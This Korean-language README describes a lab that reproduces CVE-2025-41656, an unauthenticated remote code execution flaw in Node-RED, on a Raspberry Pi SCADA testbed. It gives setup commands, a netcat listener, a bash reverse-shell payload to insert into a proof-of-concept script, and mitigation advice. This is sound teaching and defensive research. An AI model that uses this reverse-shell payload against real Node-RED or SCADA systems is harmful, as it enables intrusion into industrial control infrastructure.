CVE-2025-41656

프로젝트 개요

이 프로젝트는 NodeRED의 인증되지 않은 원격 코드 실행 취약점인 CVE-2025-41656을 모델링하기 위해 만들어졌습니다. 이 취약점을 모델링하기 위해 라즈베리 파이, 액추에이터, 센서로 구성된 소형 SCADA 시스템을 구축했습니다. 라즈베리 파이에는 NodeRED 및 OpenPLC 컨테이너가 포함되어 있으며, 이들은 Modbus TCP를 통해 서로 통신하여 액추에이터를 제어합니다. 이는 CVE-2025-41656 공격을 수행하기 위한 Python 개념 증명 스크립트입니다. 목표는 PoC를 성공적으로 생성하고 시스템을 보호하기 위한 완화 방법을 찾는 것입니다.

시작하기

실습에 포함된 구성 요소

• 라즈베리 파이 3b+
• NodeRED 및 OpenPLC 컨테이너가 포함된 Docker Compose 파일
• 액추에이터
• 센서
• 액추에이터로 제어되는 모터 구동 장치
• 참고: 사용하는 하드웨어에 따라 설정이 달라집니다. 상황에 맞게 조정하세요.

소프트웨어 설치

git clone [email protected]:wallyschag/CVE-2025-41656.git
cd CVE-2025-41656
git clone https://github.com/thiagoralves/OpenPLC_v3.git

Docker 설정

rm OpenPLC_v3/Dockerfile && cp Dockerfile_WiringPi OpenPLC_v3/Dockerfile
docker compose up --build -d

• Docker 컨테이너와 네트워크 브리지가 실행 중인지 확인

docker container ls
docker network inspect csci587-final-project_scadanet

• 두 Docker 컨테이너가 모두 실행 중이어야 합니다.
• 또한 두 컨테이너가 네트워크에 연결되어 있고 할당된 IP 주소가 있는지 확인하세요.

익스플로잇

• 호스트 머신에서 nc -lvnp 1234 실행
• cve_2025_41656.py에서 NODE_RED_IP 및 NODE_RED_PORT를 NodeRED 서비스의 IP 주소와 포트(1880)로 변경
• cve_2025_41656 내에서 "command": "bash -c 'bash -i >& /dev/tcp/192.168.4.223/1234 0>&1'", 줄의 IP 주소를 익스플로잇을 실행하는 머신의 IP 주소로 변경

python3 cve_2025_41656.py

• 이제 NodeRED 컨테이너에서 역방향 셸을 얻을 수 있습니다.

완화 전략

• NodeRED에 TLS 및 인증 메커니즘 구현
• SCADA 네트워크를 분할하여 NodeRED에 대한 무단 접근 방지
• IDS/IPS 시스템을 사용하여 NodeRED가 포함된 네트워크를 모니터링하고 역방향 셸 트래픽 탐지